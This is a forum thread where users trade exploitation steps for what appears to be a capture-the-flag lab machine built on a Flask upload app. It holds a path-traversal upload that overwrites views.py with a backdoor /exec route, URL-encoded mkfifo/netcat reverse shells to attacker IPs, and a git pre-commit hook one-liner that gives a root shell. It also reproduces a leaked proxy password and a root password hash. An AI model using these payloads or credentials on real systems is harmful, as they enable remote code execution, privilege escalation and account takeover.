Return to forum

dude4695 · May 22, 2022 at 6:27 AM

(May 22, 2022, 06:17 AM)jon01 Wrote:
(May 22, 2022, 06:13 AM)dude4695 Wrote:
(May 22, 2022, 06:08 AM)jon01 Wrote:
(May 21, 2022, 08:32 PM)dude4695 Wrote: in views.py
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def runcmd():
    return os.system(request.args.get('cmd'))
in burpsuite change this

Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"

in browser

http://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ff

you'll get rev shell of container

you have to just replace views.py file
not getting revshell : it giving me error
what error ?
what i did that : uploading a views.py : in burp doing this .//app/app/views.py" // after uploading http://ip/exec?cmd=id//or revshell :

just give encoded rev shell payload in url nothing else... do not give that id or any other system cmd expect encoded payload

root id_rsa

Himitsu · May 22, 2022 at 6:51 AM

[quote="jon01" pid="71248" dateline="1653201208"][quote="jon01" pid="71238" dateline="1653200268"][quote="dude4695" pid="71236" dateline="1653199989"][quote="jon01" pid="71235" dateline="1653199694"][quote="dude4695" pid="70844" dateline="1653165145"][b]in views.py[/b][code]import osfrom app.utils import get_file_namefrom flask import render_template, request, send_filefrom app import [email protected]('/', methods=['GET', 'POST'])def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')@app.route('/uploads/')def send_report(path): path = get_file_name(path) return send_file(os.path.join(os.getcwd(), "public", "uploads", path))@app.route('/exec')def runcmd(): return os.system(request.args.get('cmd'))[/code][b]in burpsuite change thisContent-Disposition: form-data; name="file"; filename="..//app/app/views.py"[/b][b]in browserhttp://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ffyou'll get rev shell of container[/b]you have to just replace views.py file[/quote]not getting revshell : it giving me error[/quote]what error ?[/quote]what i did that : uploading a views.py : in burp doing this [b].//app/app/views.py" // after uploading http://ip/exec?cmd=id//or revshell :[/b][hr][quote="dude4695" pid="71236" dateline="1653199989"][quote="jon01" pid="71235" dateline="1653199694"][quote="dude4695" pid="70844" dateline="1653165145"][b]in views.py[/b][code]import osfrom app.utils import get_file_namefrom flask import render_template, request, send_filefrom app import [email protected]('/', methods=['GET', 'POST'])def upload_file(): if request.method == 'POST': f = request.files['file'] file_name = get_file_name(f.filename) file_path = os.path.join(os.getcwd(), "public", "uploads", file_name) f.save(file_path) return render_template('success.html', file_url=request.host_url + "uploads/" + file_name) return render_template('upload.html')@app.route('/uploads/')def send_report(path): path = get_file_name(path) return send_file(os.path.join(os.getcwd(), "public", "uploads", path))@app.route('/exec')def runcmd(): return os.system(request.args.get('cmd'))[/code][b]in burpsuite change thisContent-Disposition: form-data; name="file"; filename="..//app/app/views.py"[/b][b]in browserhttp://IP/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20IP%20PORT%20%3E%2Ftmp%2Ffyou'll get rev shell of container[/b]you have to just replace views.py file[/quote]not getting revshell : it giving me error[/quote]what error ?[/quote]Also if any one can explain this step upload views.py file in burpsuite , it will be helpful to understand[/quote]so its like uploading any view.py : we just have to change file name only : after that we can have a rev shell[/quote]For Jon01In your Kali:[code]nc -lvnp 9001[/code]thenAdd content in end of views.py:[code]@app.route('/exec')def runcmd(): return os.system(request.args.get('cmd'))[/code]Then upload views.py via the upload form and using BurpAnd in the request just change the content-disposition with:[code]Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"[/code]Then send the request in BurpThen in another Browser (with Burp Off)[code]http://10.129.65.177/exec?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20%209001%20%3E%2Ftmp%2Ff[/code]replace with yours.Then you will receive an error message in your browser, but in your terminal your netcat will be triggered like below:[code]└─$ nc -lvnp 9001listening on [any] 9001 ...connect to [10.10.XX.XX] from (UNKNOWN) [10.129.65.177] 42615sh: can't access tty; job control turned off/app # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)[/code]I guess it's understandable on how to proceed.

Exa · May 22, 2022 at 7:18 AM

(May 22, 2022, 05:07 AM)RF0vmM9n87Go Wrote: I had no clue what I was doing with chisel - owe you folks for getting me to user.
root was pretty easy imo. thanks for steering me towards pspy @dude4695

I just created a pre-commit hook inside dev01's git dir to cat the flag to an accessible location

Thanks, for the hint. So the trick is to create /home/dev01/.git/hooks/pre-commit

rzeed · May 22, 2022 at 8:42 AM

(May 22, 2022, 12:10 AM)Exited3n Wrote:
(May 21, 2022, 11:46 PM)tom Wrote: can someone please tell me where i can find the creds in docker
{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+  "http.proxyStrictSSL": false

How did you find this?

Exited3n · May 22, 2022 at 10:18 AM

(May 22, 2022, 08:42 AM)rzeed Wrote:
(May 22, 2022, 12:10 AM)Exited3n Wrote:
(May 21, 2022, 11:46 PM)tom Wrote: can someone please tell me where i can find the creds in docker
{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+  "http.proxyStrictSSL": false
How did you find this?

git show-branch
git log dev --oneline                                
git show a76f8f7

Exited3n · May 22, 2022 at 10:29 AM

Hash

root:$6$5sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7:::

Exited3n · May 22, 2022 at 11:05 AM

One liner for root:

echo '#!/bin/sh' > /home/dev01/.git/hooks/pre-commit && chmod +x /home/dev01/.git/hooks/pre-commit && echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 31337 >/tmp/f' >> /home/dev01/.git/hooks/pre-commit

tenyuna30739 · May 22, 2022 at 1:18 PM

(May 22, 2022, 12:44 PM)jon01 Wrote:
(May 22, 2022, 11:05 AM)Exited3n Wrote: One liner for root:
echo '#!/bin/sh' > /home/dev01/.git/hooks/pre-commit && chmod +x /home/dev01/.git/hooks/pre-commit && echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 31337 >/tmp/f' >> /home/dev01/.git/hooks/pre-commit
how did u use chisel it like when i am doing chisel on 172.17.0.1 // its not working
./chisel client -v 1 R:127.0.0.1:3000:172.17.0.1:3000

I used amd64 chisel and it worked.

just4htb1337 · May 22, 2022 at 3:30 PM

(May 22, 2022, 01:15 PM)unlawz Wrote:
(May 22, 2022, 10:18 AM)Exited3n Wrote:
(May 22, 2022, 08:42 AM)rzeed Wrote:
(May 22, 2022, 12:10 AM)Exited3n Wrote:
(May 21, 2022, 11:46 PM)tom Wrote: can someone please tell me where i can find the creds in docker
{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+  "http.proxyStrictSSL": false
How did you find this?
git show-branch
git log dev --oneline                                
git show a76f8f7
sh: git: not found

do not run it on docker .. run it inside the source folder after extracting it

noob4567 · May 22, 2022 at 5:36 PM

(May 21, 2022, 09:54 PM)dude4695 Wrote:

User: dev01

How did you find this key ?

(May 22, 2022, 10:29 AM)Exited3n Wrote: Hash

root:$6$5sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7:::

Can you tell me what part of hash I need to read writeup ?